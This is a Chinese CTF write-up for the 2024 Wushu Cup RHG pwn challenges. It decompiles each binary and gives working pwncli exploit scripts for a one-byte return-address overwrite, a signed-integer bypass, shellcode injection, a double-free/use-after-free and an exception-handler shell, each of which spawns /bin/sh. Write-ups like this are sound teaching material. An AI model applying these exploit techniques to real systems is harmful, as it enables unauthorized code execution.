2024 武数杯 RHG
RHG-WP
rhg3
设计的知识点:栈上的单字节溢出/劫持放回地址
ssize_t sub_946()
{
char buf[104]; // [esp+0h] [ebp-68h] BYREF
puts("this is no gift");
puts("please input what you want say");
return read(0, buf, 0x6Du);
}
一个非常明显的栈溢出
-00000068 buf db 104 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
发现只可以溢出一个字节!
int sub_92D()
{
return system("$(echo \"L2Jpbi9zaA==\" | base64 -d)");
}
发现一个binsh
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "L2Jpbi9zaA==" | base64 -d
/bin/sh
可以溢出一个字节,所以直接将返回地址劫持为后门函数就可以了!
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
pd = flat(
{
108:'\x2d'
}
)
s(pd)
ia()
rhg4
设计的知识点:负数的二进制表示
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[2]; // [esp+4h] [ebp-14h] BYREF
int v5; // [esp+Ch] [ebp-Ch]
v5 = 16;
_isoc99_scanf("%uld", v4);
v4[1] = v4[0] + v5;
if ( v4[0] > 0xFFFFFFF0 && v4[0] + v5 <= 14 )
system("/bin/sh");
return 0;
}
这题更简单,考察负数在程序中的表示!当v4[0]
等于-2时满足条件
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
pd = '-2'
sl(pd)
ia()
rhg5
直接通过binsh找到system函数:
.rodata:089CCDCF 00000008 C /bin/sh
又是一个这个:
int sub_80488CE()
{
return system_0("$(echo \"L2Jpbi9zaA==\" | base64 -d)");
}
然后已知根据交叉引用就可以找到目标:
int sub_89588B7()
{
char v1[104]; // [esp+0h] [ebp-68h] BYREF
printf("please input the way you want go");
__libc_read(0, v1, 0x60);
sub_895FE90(v1);
return sub_80488E7(v1, 0);
}
先用IDA的FLIRT功能:
存储的libc的sig文件:
sig-database/ubuntu/libc6/10.10 (maverick) at master · push0ebp/sig-database (github.com))
恢复符号表:版本libc6_2.21-0ubuntu4_i386 Applied 229 ubuntu 16.04 libc6 (2.21-0ubuntu4/i386)
int __cdecl sub_83A8B74(int a1, int a2)
{
int v2; // eax
v2 = *(a2 + a1);
if ( v2 != 'D' )
{
if ( v2 > 'D' )
{
if ( v2 == 'S' )
exit(0);
if ( v2 == 'W' )
exit(0);
}
else if ( v2 == 'A' )
{
exit(0);
}
exit(0);
}
return system_1();
}
只要输入正确的字符串就可以触发system,所以直接使用符号执行技术,或者一步步的向上逆向找到触发system的路径!
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
pd = flat(
{
0x0:'WWDDDADAD'
}
)
sl(pd)
ia()
rhg6
int __cdecl main()
{
const char *v1; // [esp+0h] [ebp-78h]
char buf[96]; // [esp+4h] [ebp-74h] BYREF
char *v3; // [esp+64h] [ebp-14h]
ssize_t v4; // [esp+68h] [ebp-10h]
ssize_t i; // [esp+6Ch] [ebp-Ch]
init_0();
printf("please input shellcode");
v4 = read(0, buf, 0x60u);
for ( i = 0; i < v4; ++i )
++buf[i]; // 对输入的数据都加1
v3 = buf;
return callfun1(v1);
}
发现对每次输入都进行了-1操作,我们只要通过栈溢出修改v1的值就可以了
.text:08048658 07C 8D 45 8C lea eax, [ebp+buf]
.text:0804865B 07C 89 45 EC mov [ebp+var_14], eax
.text:0804865E 07C 8B 45 EC mov eax, [ebp+var_14]
.text:08048661 07C FF D0 call eax ; 调用函数的位置,执行shellcode,将shellcode写入栈上
.text:08048661
.text:08048663 07C B8 00 00 00 00 mov eax, 0
.text:08048668 07C 8B 4D FC mov ecx, [ebp+var_4]
.text:0804866B 07C C9 leave
.text:0804866C 07C 8D 61 FC lea esp, [ecx-4]
.text:0804866F 000 C3 retn
发现call eax,我们可以向栈上写入数据,在调用call
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
def modify_bytes(buf):
# 创建一个新的字节数组来存储修改后的结果
modified_buf = bytearray(len(buf))
# 对每个字节进行 -1 操作
for i in range(len(buf)):
modified_buf[i] = (buf[i] - 1) % 256 # 确保结果在 0-255 范围内
return modified_buf
pd = flat(
{
0x0:modify_bytes(ShellcodeMall.i386.execve_bin_sh),
0x60:''
}
)
sl(pd)
ia()
rhg7
int sub_8048901()
{
int v0; // eax
int result; // eax
int v2; // [esp+Ch] [ebp-1Ch]
int chioce; // [esp+10h] [ebp-18h]
int *v4; // [esp+14h] [ebp-14h]
int v5; // [esp+18h] [ebp-10h]
printf("0.new");
printf("1.free");
printf("2.show");
v0 = read();
if ( v0 == 1 )
{
chioce = read();
if ( chioce > dword_80ECF9C || chioce < 0 )
exit(-1);
free(*dword_80EDB60[chioce]);
return free(dword_80EDB60[chioce]);
}
else if ( v0 == 2 )
{
v2 = read();
if ( v2 > dword_80ECF9C || v2 < 0 )
exit(-1);
return (*(dword_80EDB60[v2] + 4))(*dword_80EDB60[v2]);
}
else
{
if ( v0 )
exit(-1);
v5 = read();
if ( v5 > 256 )
{
printf("too large");
exit(-1);
}
v4 = malloc(8);
v4[1] = sub_80488E5;
if ( v5 <= 0 )
*v4 = malloc(16);
else
*v4 = malloc(v5);
__libc_read(0, *v4, v5);
result = dword_80ECF9C++;
dword_80EDB60[result] = v4;
}
return result;
}
手动恢复符号表,或者用ida.
libc6_2.23-0ubuntu10_i386 Applied 518 ubuntu 16.04 libc6 (2.23-0ubuntu10/i386)
发现一个很明显的漏洞uaf,直接使用double free
在使用
.rodata:080BCF4F 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0
在调用system就可以了:
int __cdecl sub_804F820(int a1)
{
if ( a1 )
return do_system(a1);
else
return do_system("exit 0") == 0;
}
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-11-30 13:04:55
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
def cmd(i, prompt='2.show'):
sla(prompt, i)
def add(sz,cont=p32(0xdeadbeef)*2):
cmd('0')
sl(str(sz))
s(cont)
#......
def show(i):
cmd('2')
sl(str(i))
#......
def dele(i):
cmd('1')
sl(str(i))
#......
for i in range(3):
add(0x10)
dele(0)
dele(1)
dele(0)
add(0x8,p32(0x80bcf4f)+p32(0x804f820))
show(1)
ia()
rhg8
__int64 login(void)
{
_QWORD *exception; // rax
int v2; // [rsp+Ch] [rbp-34h] BYREF
int v3; // [rsp+2Ch] [rbp-14h]
v3 = 100;
puts("input your calc num");
scanf("%d", &v2);
if ( !v2 )
{
exception = __cxa_allocate_exception(8uLL);
*exception = "Division by zero condition!";
__cxa_throw(exception, &`typeinfo for'char const*, 0LL);
}
return (v3 / v2);
}
很显然考察linux 的异常处理
发现shell函数:
.text:0000000000400CB8 48 89 C7 mov rdi, rax ; void *
.text:0000000000400CBB E8 70 FD FF FF call ___cxa_begin_catch
.text:0000000000400CBB
.text:0000000000400CC0 48 89 45 D0 mov [rbp+var_30], rax
.text:0000000000400CC4 ; try {
.text:0000000000400CC4 E8 EA FE FF FF call _Z5shellv ; shell(void)
.text:0000000000400CC4 ; } // starts at 400CC4
.text:0000000000400CC4
.text:0000000000400CC9 E8 52 FD FF FF call ___cxa_end_catch
.text:0000000000400CC9
.text:0000000000400CCE EB D6 jmp short loc_400CA6
只需要触发报错就可以得到shell
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
pd = '0'
sl(pd)
pd = '0'
sl(pd)
ia()
0 条评论
可输入 255 字
热门文章